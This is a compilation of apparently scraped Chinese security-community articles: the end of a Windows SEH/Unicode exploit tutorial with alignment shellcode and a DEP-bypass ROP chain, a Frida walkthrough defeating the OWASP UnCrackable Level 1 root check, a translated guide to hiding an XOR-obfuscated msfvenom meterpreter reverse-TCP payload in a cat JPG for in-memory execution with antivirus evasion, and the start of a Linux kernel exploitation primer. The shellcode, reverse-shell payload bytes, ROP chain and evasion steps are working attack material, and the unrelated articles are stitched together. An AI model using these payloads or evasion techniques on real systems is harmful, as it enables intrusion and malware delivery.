006F00 ADD BYTE PTR DS:[EDI],CH
007000 ADD BYTE PTR DS:[EAX],DH
007100 ADD BYTE PTR DS:[ECX],DH
007200 ADD BYTE PTR DS:[EDX],DH
007300 ADD BYTE PTR DS:[EBX],DH
* 测试一下，（不是所有的"pop pop ret"地址都可用，因为nseh地址之后也会作为指令执行）
padding = "a"*536
nseh = "\x41\x71"
seh = "\x41\x4d"
exploit = padding + nseh + seh + "a"*4464
可以看到，已经执行了"pop pop ret"，且来到了指令"\x41\x00\x71"。
* ###### shellcode的布置
* 由于我们没有jmp到shellcode。所以需要手动将shellcode与某个寄存器对齐。（注意是指向shellcode第一个字节，而不是填充的nop）。一般是eax，因为汇编指令集对eax的优化，使得很多指令在eax上使用更方便（一字节）便于unicode编码。
(1)找一个最接近我们缓冲区的寄存器然后通过增加/减小一些值使得它指向缓冲区的起始地址(也就是 Shellcode的地址)
(2在堆栈找一个指向我们缓冲区的地址, 通过pop送到EIP最终会转去执行我们的Shellcode.
* 这里我们用第一种方式。
```python
align = (
'\x55'
'\x71'
'\x58'
"\x71" #Venetian Padding
"\x05\x20\x11" #add eax,0x11002000 \
"\x71" #Venetian Padding |> +300
"\x2d\x17\x11" #sub eax,0x11001700 /
"\x71" #Venetian Padding
"\x50" #push EAX
"\x71" #Venetian Padding
"\xC3" #ret
)
```
* 这段align会将eax指向我们输入内容中的一段地址，我们只需要计算下偏移，布置好shellcode就可以执行到那里。
* 需要注意的是"\xc3"这条指令在不同语言下的unicode编码方式不一样，在en版下OK，但是zh下会编码为'\xca\x80'，导致失败（反正很迷）（我这里是手动改的。。。）[参见这里](https://www.blackhat.com/presentations/win-usa-04/bh-win-04-fx.pdf)
* shellcode的生成借助alpha2编译器。,以下是eax指向shellcode时（弹出计算器）的unicode编码
```c
shellcode = (
"PPYAIAIAIAIAQATAXAZAPA3QADAZAB"
"ARALAYAIAQAIAQAPA5AAAPAZ1AI1AIA"
"IAJ11AIAIAXA58AAPAZABABQI1AIQIA"
"IQI1111AIAJQI1AYAZBABABABAB30AP"
"B944JBP199B1RH2CQQRL1SR4X86MMSDF3LKOHPA"
)
```
* 如果，我们不用push, ret的方式跳转到shellcode，而是一步步走到shellcode。
* 注意将eax指向shellcode的首个非null byte。
* eax的值，可以由ebp（栈的值，shellcode附近）经过计算（注意unicode对齐）布置到当前地址后一段。
* 计算偏移，将shellcode布置到eax指向的位置。
* 填充的"nop"，我一般用's'，在unicode下就是跳转到下一条指令。（当然也可以用前面提到的nop）
jnc Label1
Label1:
align = (
'\x55'
'\x71'
'\x58'
"\x71" #Venetian Padding
"\x05\x40\x11" #add eax,0x11004000 \
"\x71" #Venetian Padding |> +3000
"\x2d\x10\x11" #sub eax,0x11001000 /
"\x71" #Venetian Padding
)
* 这次就不要ret，直接平滑地“走到”shellcode。
* ##### ROP方式绕过DEP
* 和Linux下的绕过NX类似，圣斗士通过ROP chain来完成。
* 不同的是，Windows下，我们可以先rop调用WIN API来关闭DEP保护或者重新定义属性，再执行位于stack上的shellcode。可用的WIN API如下
* 布置的方式也有所不同，由于在Linux上完全是依赖代码片段来完成整个get shell的过程，因此在stack上的都是参数和可执行的地址，而在window上我们一般最终还是需要在stack上执行shellcode。所以需要保持代码段执行完毕后esp指向shellcode，之后ret或者jmp esp都可以完成。
* 这里的stack的布置，我们只需要找到合适的"pop r32 retn"，"pushad retn"组合来将需要的片段放在合适的r32中，再通过pushad入栈。此时空间分布如下。注意，如果edi是"pop edi ret"，esi是啥就无所谓了。（反正只要能跳到API就行了）
* 这样，在执行API关闭DEP之后，就可以顺利进入shellcode（仍然在stack中）。
* 以ISCC 2014的一个pwn为例(shellcode.exe)，这里选用的API是SetProcessPolicy。
* 确定偏移....
* 主要是rop_chain的构造。
rop_gadgets = [
0x7c801d5d, #RETN
0x90909090, #nops
0x7c863e63, # POP EBP # RETN [kernel32.dll]
0x7c862144, # SetProcessDEPPolicy() [kernel32.dll]
0x7c80dfdd, # POP EBX # RETN [kernel32.dll]
0x00000000, # dwFlag
0x7c810afe, # POP EDI # RETN [kernel32.dll]
0x7c810afe, # skip 4 bytes [kernel32.dll]
0x77d23ad9, # PUSHAD # RETN [User32.dll]
]
* 注意，如果不可以传'\x00'这样的字节，可以通过指令运算来完成。
* 这里有个有趣的，调试过程中发现如果在0x7c801d5d下了断点，shellcode就会异常中断。猜测是由于断点的地方改变了一个字节。
参考链接
[看教程学溢出之SEH利用](http://blog.nsfocus.net/tutorial-overflow/)
[EggHunter_paper](http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf)
[Unicode的shellcode补充](https://bbs.pediy.com/thread-121281.htm)
[phrack关于unicode攻击特殊shellcode构成](http://phrack.org/issues/61/11.html#article)
[Unicode详情](www.unicode.org) | 社区文章 |
# 【技术分享】利用FRIDA攻击Android应用程序（二）
|
##### 译文声明
本文是翻译文章，文章来源：codemetrix.net
原文地址：<https://www.codemetrix.net/hacking-android-apps-with-frida-2/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
稿费：190RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**传送门**
[**【技术分享】利用FRIDA攻击Android应用程序（一）**
****](http://bobao.360.cn/learning/detail/3641.html)
在[本系列文章的第一篇](http://bobao.360.cn/learning/detail/3641.html)中，我们已经对Frida的原理进行了详细的介绍，现在，我们将演示如何通过Frida搞定crackme问题。有了第一篇的内容作为基础，理论上讲这应该不是什么难事。如果你想亲自动手完成本文介绍的实验的话，请下载
[OWASP Uncrackable Crackme Level 1](https://github.com/OWASP/owasp-mstg/blob/master/OMTG-Files/02_Crackmes/List_of_Crackmes.md)
([APK](https://github.com/OWASP/owasp-mstg/blob/master/OMTG-Files/02_Crackmes/01_Android/Level_01/UnCrackable-Level1.apk))
[BytecodeViewer](http://bytecodeviewer.com/)
[dex2jar](https://github.com/pxb1988/dex2jar)
当然，这里假定您已在计算机上成功地安装了Frida（版本9.1.16或更高版本），并在（已经获得root权限的）设备上启动了相应服务器的二进制代码。我们这里将在模拟器中使用Android
7.1.1 ARM映像。
然后，请在您的设备上安装Uncrackable Crackme Level 1应用程序：
adb install sg.vantagepoint.uncrackable1.apk
安装完成后，从模拟器的菜单（右下角的橙色图标）启动它：
一旦启动应用程序，您就会注意到它不太乐意在已经获取root权限的设备上运行：
如果单击“OK”，应用程序会立即退出。嗯，不太友好啊。看起来我们无法通过这种方法来搞定crackme。真是这样吗？让我们看看到底怎么回事，同时考察一下这个应用程序的内部运行机制。
现在，使用dex2jar将apk转换为jar文件：
michael@sixtyseven:/opt/dex2jar/dex2jar-2.0$ ./d2j-dex2jar.sh -o /home/michael/UnCrackable-Level1.jar /home/michael/UnCrackable-Level1.apk
dex2jar /home/michael/UnCrackable-Level1.apk -> /home/michael/UnCrackable-Level1.jar
然后，将其加载到BytecodeViewer（或其他支持Java的反汇编器）中。你也可以尝试直接加载到BytecodeViewer中，或直接提取classes.dex，但是试了一下好像此路不通，所以我才提前使用dex2jar完成相应的转换。
为了使用CFR解码器，需要在BytecodeViewer中依次选择View-> Pane1-> CFR->
Java。如果你想将反编译器的结果与Smali反汇编（通常比反编译稍微准确一些）进行比较的话，可以将Pane2设置为Smali代码。
下面是CFR解码器针对应用程序的MainActivity的输出结果：
package sg.vantagepoint.uncrackable1;
import android.app.Activity;
import android.app.AlertDialog;
import android.content.Context;
import android.content.DialogInterface;
import android.os.Bundle;
import android.text.Editable;
import android.view.View;
import android.widget.EditText;
import sg.vantagepoint.uncrackable1.a;
import sg.vantagepoint.uncrackable1.b;
import sg.vantagepoint.uncrackable1.c;
public class MainActivity
extends Activity {
private void a(String string) {
AlertDialog alertDialog = new AlertDialog.Builder((Context)this).create();
alertDialog.setTitle((CharSequence)string);
alertDialog.setMessage((CharSequence)"This in unacceptable. The app is now going to exit.");
alertDialog.setButton(-3, (CharSequence)"OK", (DialogInterface.OnClickListener)new b(this));
alertDialog.show();
}
protected void onCreate(Bundle bundle) {
if (sg.vantagepoint.a.c.a() || sg.vantagepoint.a.c.b() || sg.vantagepoint.a.c.c()) {
this.a("Root detected!"); //This is the message we are looking for
}
if (sg.vantagepoint.a.b.a((Context)this.getApplicationContext())) {
this.a("App is debuggable!");
}
super.onCreate(bundle);
this.setContentView(2130903040);
}
public void verify(View object) {
object = ((EditText)this.findViewById(2131230720)).getText().toString();
AlertDialog alertDialog = new AlertDialog.Builder((Context)this).create();
if (a.a((String)object)) {
alertDialog.setTitle((CharSequence)"Success!");
alertDialog.setMessage((CharSequence)"This is the correct secret.");
} else {
alertDialog.setTitle((CharSequence)"Nope...");
alertDialog.setMessage((CharSequence)"That's not it. Try again.");
}
alertDialog.setButton(-3, (CharSequence)"OK", (DialogInterface.OnClickListener)new c(this));
alertDialog.show();
}
}
通过查看其他反编译的类文件，我们发现它是一个小应用程序，并且貌似可以通过逆向解密例程和字符串修改例程来解决这个crackme问题。然而，既然有神器Frida在手，自然会有更方便的手段可供我们选择。首先，让我们看看这个应用程序是在哪里检查设备是否已获取root权限的。在“Root
detected”消息上面，我们可以看到：
if (sg.vantagepoint.a.c.a() || sg.vantagepoint.a.c.b() || sg.vantagepoint.a.c.c())
如果你查看sg.vantagepoint.a.c类的话，你就会发现与root权限有关的各种检查：
public static boolean a()
{
String[] a = System.getenv("PATH").split(":");
int i = a.length;
int i0 = 0;
while(true)
{
boolean b = false;
if (i0 >= i)
{
b = false;
}
else
{
if (!new java.io.File(a[i0], "su").exists())
{
i0 = i0 + 1;
continue;
}
b = true;
}
return b;
}
}
public static boolean b()
{
String s = android.os.Build.TAGS;
if (s != null && s.contains((CharSequence)(Object)"test-keys"))
{
return true;
}
return false;
}
public static boolean c()
{
String[] a = new String[7];
a[0] = "/system/app/Superuser.apk";
a[1] = "/system/xbin/daemonsu";
a[2] = "/system/etc/init.d/99SuperSUDaemon";
a[3] = "/system/bin/.ext/.su";
a[4] = "/system/etc/.has_su_daemon";
a[5] = "/system/etc/.installed_su_daemon";
a[6] = "/dev/com.koushikdutta.superuser.daemon/";
int i = a.length;
int i0 = 0;
while(i0 < i)
{
if (new java.io.File(a[i0]).exists())
{
return true;
}
i0 = i0 + 1;
}
return false;
}
在Frida的帮助下，我们可以通过覆盖它们使所有这些方法全部返回false，这一点我们已经在第一篇中介绍过了。但是，当一个函数由于检测到设备已经取得了root权限而返回true时，结果会怎样呢？
正如我们在MainActivity函数中看到的那样，它会打开一个对话框。此外，它还会设置一个onClickListener，当我们按下OK按钮时就会触发它：
alertDialog.setButton(-3, (CharSequence)"OK", (DialogInterface.OnClickListener)new b(this));
这个onClickListener的实现代码如下所示：
package sg.vantagepoint.uncrackable1;
class b implements android.content.DialogInterface$OnClickListener {
final sg.vantagepoint.uncrackable1.MainActivity a;
b(sg.vantagepoint.uncrackable1.MainActivity a0)
{
this.a = a0;
super();
}
public void onClick(android.content.DialogInterface a0, int i)
{
System.exit(0);
}
}
它的功能并不复杂，实际上只是通过System.exit（0）退出应用程序而已。所以我们要做的事情就是防止应用程序退出。为此，我们可以用Frida覆盖onClick方法。下面，让我们创建一个文件uncrackable1.js，并把我们的代码放入其中：
setImmediate(function() { //prevent timeout
console.log("[*] Starting script");
Java.perform(function() {
bClass = Java.use("sg.vantagepoint.uncrackable1.b");
bClass.onClick.implementation = function(v) {
console.log("[*] onClick called");
}
console.log("[*] onClick handler modified")
})
})
如果你已经阅读了本系列文章的第一篇的话，这个脚本应该不难理解：将我们的代码封装到setImmediate函数中，以防止超时，然后通过Java.perform来使用Frida用于处理Java的方法。接下来，我们将得到一个类的包装器，可用于实现OnClickListener接口并覆盖其onClick方法。在我们的版本中，这个函数只是向控制台写一些输出。与之前不同的是，它不会退出应用程序。由于原来的onClickHandler被替换为Frida注入的函数，因此它绝对不会被调用了，所以当我们点击对话框的OK按钮时，应用程序就不退出了。好了，让我们实验一下：打开应用程序（使其显示“Root
detected”对话框）
并注入脚本：
frida -U -l uncrackable1.js sg.vantagepoint.uncrackable1
Frida注入代码需要几秒钟的时间，当你看到“onClick handler
modified”消息时说明注入完成了（当然，注入完成时你也可以得到一个shell之前，因为可以把我们的代码放入一个setImmediate包装器中，从而让Frida在后台执行它）。
然后，点击应用程序中的OK按钮。如果一切顺利的话，应用程序就不会退出了。
我们看到对话框消失了，这样我们就可以输入密码了。下面让我们输入一些内容，点击Verify，看看会发生什么情况：
不出所料，这是一个错误的密码。但是这并不要紧，因为我们真正要找的是：加密/解密例程以及结果和输入的比对。
再次检查MainActivity时，我们注意到了下面的函数
public void verify(View object) {
它调用了类sg.vantagepoint.uncrackable1.a的方法：
if (a.a((String)object)) {
下面是sg.vantagepoint.uncrackable1.a类的反编译结果：
package sg.vantagepoint.uncrackable1;
import android.util.Base64;
import android.util.Log;
/*
* Exception performing whole class analysis ignored.
*/
public class a {
public static boolean a(String string) {
byte[] arrby = Base64.decode((String)"5UJiFctbmgbDoLXmpL12mkno8HT4Lv8dlat8FxR2GOc=", (int)0);
byte[] arrby2 = new byte[]{};
try {
arrby2 = arrby = sg.vantagepoint.a.a.a((byte[])a.b((String)"8d127684cbc37c17616d806cf50473cc"), (byte[])arrby);
}
catch (Exception var2_2) {
Log.d((String)"CodeCheck", (String)("AES error:" + var2_2.getMessage()));
}
if (!string.equals(new String(arrby2))) return false;
return true;
}
public static byte[] b(String string) {
int n = string.length();
byte[] arrby = new byte[n / 2];
int n2 = 0;
while (n2 < n) {
arrby[n2 / 2] = (byte)((Character.digit(string.charAt(n2), 16) << 4) + Character.digit(string.charAt(n2 + 1), 16));
n2 += 2;
}
return arrby;
}
}
注意在a方法末尾的string.equals比较，以及在上面的try代码块中字符串arrby2的创建。arrby2是函数sg.vantagepoint.a.a.a的返回值。string.equals会将我们的输入与arrby2进行比较。所以，我们要追踪sg.vantagepoint.a.a的返回值。
现在，我们可以着手对这些字符串操作函数和解密函数进行逆向工程，并处理原始加密字符串了，实际上它们也包含在上面的代码中。或者，我们还可以让应用程序替我们完成字符串的处理和加密工作，而我们只要钩住sg.vantagepoint.a.a.a函数来捕获其返回值就可以坐享其成了。返回值是我们的输入将要与之比较的解密字符串（它以字节数组的形式返回）。具体可以参考下面的脚本：
aaClass = Java.use("sg.vantagepoint.a.a");
aaClass.a.implementation = function(arg1, arg2) {
retval = this.a(arg1, arg2);
password = ''
for(i = 0; i < retval.length; i++) {
password += String.fromCharCode(retval[i]);
}
console.log("[*] Decrypted: " + password);
return retval;
}
console.log("[*] sg.vantagepoint.a.a.a modified");
其中，我们覆盖了sg.vantagepoint.a.a.a函数，截获其返回值并将其转换为可读字符串。这正是我们要找的解密字符串，所以我们将其打印到控制台。
将上述代码放到一起，就组成了一个完整的脚本：
setImmediate(function() {
console.log("[*] Starting script");
Java.perform(function() {
bClass = Java.use("sg.vantagepoint.uncrackable1.b");
bClass.onClick.implementation = function(v) {
console.log("[*] onClick called.");
}
console.log("[*] onClick handler modified")
aaClass = Java.use("sg.vantagepoint.a.a");
aaClass.a.implementation = function(arg1, arg2) {
retval = this.a(arg1, arg2);
password = ''
for(i = 0; i < retval.length; i++) {
password += String.fromCharCode(retval[i]);
}
console.log("[*] Decrypted: " + password);
return retval;
}
console.log("[*] sg.vantagepoint.a.a.a modified");
});
});
现在，我们来运行这个脚本。然后，将其保存为uncrackable1.js，并执行下列命令（如果Frida没有自动重新运行的话）
frida -U -l uncrackable1.js sg.vantagepoint.uncrackable1
耐心等待，直到您看到消息sg.vantagepoint.a.a发生变化，然后在Root detected对话框中单击OK，在secret
code中输入一些字符，然后按Verify按钮。哎，运气好像不太好啊。
但是，请注意Frida的输出：
michael@sixtyseven:~/Development/frida$ frida -U -l uncrackable1.js sg.vantagepoint.uncrackable1
____
/ _ | Frida 9.1.16 - A world-class dynamic instrumentation framework
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at http://www.frida.re/docs/home/
[*] Starting script
[USB::Android Emulator 5554::sg.vantagepoint.uncrackable1]-> [*] onClick handler modified
[*] sg.vantagepoint.a.a.a modified
[*] onClick called.
[*] Decrypted: I want to believe
太好了。我们实际上已经得到了解密的字符串：I want to believe。那么，我们赶紧输入这个字符串，看看是否正确：
本文到此结束，但愿读者阅读本文后，能够对学习Frida的动态二进制插桩功能有所帮助。
**传送门**
* * *
[**【技术分享】利用FRIDA攻击Android应用程序（一）**
****](http://bobao.360.cn/learning/detail/3641.html) | 社区文章 |
# 【技术分享】如何从猫咪图片中加载运行shellcode
|
##### 译文声明
本文是翻译文章，文章来源：infosecinstitute.com
原文地址：<http://resources.infosecinstitute.com/launching-shellcode-cat-pictures/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：190RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
猫咪是互联网的宠儿，这也是我为什么会考虑将猫咪和恶意软件联系在一起。
在某个偶然场合下，我接触到了一种比较特别的代码执行方法，其中涉及到某些可执行文件和一张图片。通常情况下，程序会下载图片文件，将该文件转化为可执行文件然后再运行。这种方法技术比较粗糙，可以在某些方面进行改进。
比如这种方法存在文件落盘行为，容易被反病毒软件检测出来。你可以通过内存执行方式来解决这个问题。然而，这么做的话你会遇到另一个问题，那就是你需要修改可执行文件中的IAT（Import
Address Table，导入函数表）以及其他方面内容，因为可执行文件需要加载到其他程序的共享地址空间。
本文提出了一种方法，可以将shellcode嵌入到一张图片中，利用程序在堆中分配空间，下载远程图片然后执行图片中的shellcode。
这种方法使用内存运行方式，不容易被检测分析。在本文案例中，我们将使用一张JPG图片完成此项任务。
**二、环境准备**
你需要具备以下条件：
1、Windows系统
2、Linux工具
3、汇编知识
4、了解基本的MSFVenom载荷生成方法
5、编辑器：HexEditor（或[WxHexEditor](http://www.wxhexeditor.org/)）
6、安装GCC并添加到$PATH环境变量中
7、安装[Nasm](http://www.nasm.us/pub/nasm/releasebuilds/2.13rc6/)并添加到$PATH环境变量中
其他可选条件：
8、调试器：[Ollydbg](http://www.ollydbg.de/)或[x64dbg](http://x64dbg.com/)
9、将ASM指令转换为Op代码的工具。我使用的是Ram Michael的MultiLine Ultimate
Assembler插件：[MUA插件](http://rammichael.com/tag/multimate-assembler)
**三、前期处理**
由于可执行文件的执行过程总是遵循从头部到尾部的顺序，因此我们需要掌握在内存中运行自定义载荷的方法。当你通过HTTP方式下载一个文件时，你会收到HTTP响应头和紧跟其后的文件内容。由于响应头位置靠前且大小不固定，我们难以预测需要跳转到哪个具体位置来执行代码。我们能做的就是将载荷信息放到图片尾部，将这段载荷拷贝到堆上的另一块内存空间，然后跳转到对应位置。
插入载荷后的图片二进制数据如下所示：
JPEG图片头：FF D8 FF E0 00 10
JFIF ASCII字符：4A 46 49 46
图片字节数据
图片字节数据
载荷尾部：CC CC CC CC
载荷中部：BB BB BB BB
载荷头部：AA AA AA AA
我们需要分配内存空间，跳转到载荷中的AA AA AA AA处并翻转载荷数据。载荷在内存中翻转后的内容如下：
载荷头部：AA AA AA AA
载荷中部：BB BB BB BB
载荷尾部：CC CC CC CC
这一步完成后，我们只要跳转到正确地址就能顺利运行载荷。
本例中，我编写了一个简单的混淆器，对载荷进行异或处理，通过混淆器还原并运行载荷。
这个[混淆器](https://github.com/ApertureSecurity/Assembly-Series/blob/master/LazyBitmaskEncoder.c)将载荷按WORD大小分割为多段数据，将FFFF添加到每段数据前头，通过逐位运算移除FFFF，将处理后的WORD添加到DWORD的第一部分，然后再添加下一个WORD数据到DWORD的第二部分。处理过程如下所示：
Mov eax, FFFFAABB ; 将数据Move到EAX
And eax, FFFF ; 移除头部的FFFF
Mov ebx, FFFFCCDD ; 将数据Move到EBX
Mov ax, bx ; EAX填充为AABBCCDD
Push eax ; 压入栈中
Jmp esp ; 跳转到载荷在栈中的地址并执行
出于混淆目的，我的代码中添加了一些异或处理过程，如果你有任何疑问，可以仔细研读代码并亲自动手试试代码的输出结果。
**四、开始工作**
我们先介绍一下如何使用MSFVENOM生成一段简单的载荷。你需要根据实际情况修改以下命令中的LPORT和LHOST参数值：
msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=5555 -f c
输出结果如下所示，我标粗了其中的IP数据，以便读者替换为自己的IP（可以使用[IP/Hex
Converter](http://ncalculators.com/digital-computation/ip-address-hex-decimal-binary.htm)这个工具）。
“xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30”
“x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff”
“xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52”
“x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1”
“x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b”
“x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03”
“x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b”
“x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24”
“x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb”
“x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c”
“x77x26x07xffxd5xb8x90x01x00x00x29xc4x54x50x68”
“x29x80x6bx00xffxd5x6ax05x68x01x02x03x04x68x02″
“x00x15xb3x89xe6x50x50x50x50x40x50x40x50x68xea”
“x0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5x74x61”
“xffxd5x85xc0x74x0axffx4ex08x75xecxe8x61x00x00”
“x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxffxd5x83”
“xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00x56x6a”
“x00x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57”
“x68x02xd9xc8x5fxffxd5x83xf8x00x7dx22x58x68x00”
“x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5x57x68”
“x75x6ex4dx61xffxd5x5ex5exffx0cx24xe9x71xffxff”
“xffx01xc3x29xc6x75xc7xc3xbbxf0xb5xa2x56x6ax00”
“x53xffxd5”;
在我的[混淆器](https://github.com/ApertureSecurity/Assembly-Series/blob/master/LazyBitmaskEncoder.c)中，将“SHELLCODE GOES
HERE”这段替换为上述数据。使用如下gcc命令编译混淆器源码：
Gcc -std=c11 LazyBitmaskEncoder.c -o encoder.exe
将程序的输出结果导出到文件中：
encoder.exe > somefile.txt
在本文案例中，我有个值为31的额外字节，程序的警告信息提示我应该将它转化为经过异或处理的Nop指令（即7E），如下所示：
现在我们需要得到上述汇编代码的字节码，网上可能有在线工具将汇编语言转化为字节码，在这里我使用的是Ram
Michael开发的用于OllyDbg或X64dbg的[MUA插件](http://rammichael.com/tag/multimate-assembler)，如下所示：
接下来我们选中这些字节码，在软件右键菜单中，选择“编辑”、“二进制拷贝”，将字节码拷贝出来。你也可以通过CTRL+INSERT组合键完成这个过程。
然后我们将这些字节码附到图片的尾部。如前文所述，我们需要以相反顺序将它们附到图像尾部。在Linux中，要做到这一点十分简单。
以下是未做顺序变换处理前的字节码数据。
我将这些数据保存到为“moo”文件，运行如下命令以获得正确顺序的数据。
for i in `cat moo` ; do echo $i;done| tac |sed ‘:a;N;$!ba;s/n/ /g’
现在我们需要将处理后的数据插入到图片中。选一张你最中意的猫咪图片，我选了如下一张暹罗猫图片。
接下来是将那个shellcode拷贝到图片中。我们可以使用[WxHexEditor](http://www.wxhexeditor.org/)以二进制形式打开图片，复制图片中的字节数据。需要时刻提醒自己，载荷必须放在尾部，如果你发现载荷不在尾部，那么你需要填充多个0x90直到shellcode的起始位置。
图片尾部附加shellcode后如下图所示。保存为图片后，你会发现图像尾部存在一些微小的颜色失真现象。
最后一个步骤，我们需要把这个图片放到Web服务器上，写个简单的程序，下载图片到内存中，跳转到正确地址，执行这段shellcode。最简单的一个方法还是通过汇编语言。
我写了一个[汇编程序](https://github.com/ApertureSecurity/Assembly-Series/blob/master/Ghostexe.asm)来完成这个任务。编译命令如下：
nasm -f win32 GhostExe.asm
gcc -fno-use-linker-plugin GhostExe.obj -o GhostExe.exe
我建议你可以打开调试器，将调试器附加到某个在运行的进程中，一步一步跟下来，观察它执行的步骤以加深理解。
如果你选择使用调试器，你可以看一下GhostExe.exe在00401482位置的偏移量，这是接收数据之后所在的位置。你可以在ECX的尾部看到输出的载荷数据。
或者你可以直接使用Metasploit，运行exe让它自动化执行。
msf>use exploit multi/handler
msf>set payload windows/meterpreter/reverse_tcp
msf>set lhost <local IP>
msf>set lport <local port>
msf>set ExitOnSession false
msf>exploit -j
以下是NoDistrubute.com给出的检测结果，只有1/35的检出率，非常好的一个结果。
**五、可选的调试步骤**
我们可以看看调试步骤的一些截图
定位到“JMP EAX”指令，这是我们从猫咪图片中跳转到shellcode的指令。
是不是很眼熟：
这就是我们原始的载荷： | 社区文章 |
#### 说明
该系列文章主要是从ctf比赛入手，针对linux内核上的漏洞分析、挖掘与利用做讲解，本篇文章主要介绍内核漏洞利用所需的前置知识以及准备工作。
#### linux内核态与用户态的区别
以 **Intel CPU** 为例，按照权限级别划分，Intel把 `CPU指令集` 操作的权限由高到低划为4级：
* **ring 0** （通常被称为内核态，cpu可以访问内存的所有数据，包括外围设备，例如硬盘，网卡，cpu也可以将自己从一个程序切换到另一个程序）
* **ring 1** （保留）
* **ring 2** （保留）
* **ring 3** （通常被称为用户态，只能受限的访问内存，且不允许访问外围设备）
如下图所示：
越是内环则cpu的权限越高，并且内环可以随意访问外环的资源而外环则被禁止。
因此相比用户态的漏洞，内核态的漏洞具有更强的破坏力，拿到了内核的权限则基本上相当于控制了整个操作系统。
#### linux内核分析环境搭建
如果只是单纯的搭建内核的分析调试环境，一般来说需要自己手动下载对应版本的内核并进行编译，从[kernel官网](https://www.kernel.org/)下载即可，这里笔者下了4.19的内核版本，在编译安装过程中可能会遇到模块缺失的问题，在ubuntu上使用apt安装对应的模块即可，笔者本地手动安装的模块如下：
sudo apt-get install libncurses5-dev
sudo apt-get install flex
sudo apt-get install bison
sudo apt-get install libopenssl-dev
首先使用`make menuconfig`来生成默认的config文件，这是一个图形化的配置，可以在`kernel
hacking`选项中启用部分调试选项来更好的分析kernel上的漏洞。接着使用`make`命令来进行编译，当然这只是默认的编译选项，针对linux内核的编译非常多的选择，有兴趣的同学可以参考[Linux
Insides](https://xinqiu.gitbooks.io/linux-insides-cn/)这本书。
默认的编译会生成多个文件，包含了vmlinux、System.map、bzImage等文件，这里主要关注bzImage文件，因为它是可加载的内核镜像文件，x86架构的默认生成于`arch/x86/boot`目录。一般来说ctf题目都会给出对应的内核镜像文件、启动脚本、根文件系统等3个文件，通过这三个文件基本可以通过qemu加载起整个操作系统便于进行后续的分析、调试。
接下来需要编译文件系统了，这里使用busybox进行编译，下载好源码后，通过make menuconfig控制编译选项，在build
options选择static binary，接下来执行`make
install`可在当前目录生成一个_install目录，保存着编译后的文件，之后通过下面的脚本对系统运行时所需内容进行初始化，需在`_install`目录下进行
#!/bin/sh
mkdir -pv {bin,sbin,etc,proc,sys,usr/{bin,sbin}}
echo """#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mkdir /tmp
mount -t tmpfs none /tmp
mdev -s
exec /bin/sh""">>init
chmod +x init
接着切换到`_install`目录并使用压缩指令`find . | cpio -o --format=newc >
../rootfs.cpio`对_install目录下的所有内容进行打包，这样就可以通过`bzImage`以及`rootfs.cpio`两个文件使用qemu将整个内核运行起来。运行命令如下：
qemu-system-x86_64 -kernel ./bzImage -initrd ./rootfs.cpio -s -append "nokaslr"
这样一个简单的linux系统就运行起来了，通过-s 参数可以让gdb通过远程网络连接的方式对内核进行调试，break后gdb中断如下：
，此时已经可以对任意包含符号的函数下断点了，为了进行初步测试，这里在`new_sync_read`函数下断点，当有用户输入命令后则会触发，如下：
这样一个基础的内核调试分析环境就已经搭建起来了。
### 如何在内核环境中进行提权
#### 基本概念
**用户**
对于支持多任务的 Linux 系统来说，用户就是获取资源的凭证，本质上是其所划分权限的归属。
**权限**
权限用来控制用户对计算机资源(CPU、内存、文件等)的访问。
**进程**
进程是任何支持多道程序设计的操作系统中的基本概念。通常把进程定义为程序执行时的一个实例。实际上，是进程在帮助我们完成各种任务。用户执行的操作其实是带有用户身份信息的进程执行的操作。
**进程权限**
既然是进程在为用户执行具体的操作，那么当用户要访问系统的资源时就必须给进程赋予权限。也就是说进程必须携带发起这个进程的用户的身份信息才能够进行合法的操作。
#### 内核结构
内核涉及到进程和程序的所有算法都围绕一个名为`task_struct`的数据结构建立（4.19中该结构有600多行，有兴趣的读者自行参考），对于Linux内核把所有进程的进程描述符`task_struct`数据结构链成一个单链表，该数据结构定义在`include/sched.h`中，部分结构如下：（参考<https://blog.csdn.net/u012489236/article/details/116570125）>
这里只关注进程pid以及权限控制cred结构。
pid类型定义主要在`include/linux/pid.h`中，4.19中包含如下：
enum pid_type
{
PIDTYPE_PID,
PIDTYPE_TGID,
PIDTYPE_PGID,
PIDTYPE_SID,
PIDTYPE_MAX,
};
可使用如下命令查看：
admins@admins-virtual-machine:~/kernel/linux-4.19$ ps -T -eo tid,pid,pgid,tgid,sid,comm
TID PID PGID TGID SID COMMAND
1 1 1 1 1 systemd
2 2 0 2 0 kthreadd
3 3 0 3 0 rcu_gp
4 4 0 4 0 rcu_par_gp
6 6 0 6 0 kworker/0:0H-kb
8 8 0 8 0 mm_percpu_wq
9 9 0 9 0 ksoftirqd/0
10 10 0 10 0 rcu_sched
11 11 0 11 0 rcu_bh
12 12 0 12 0 migration/0
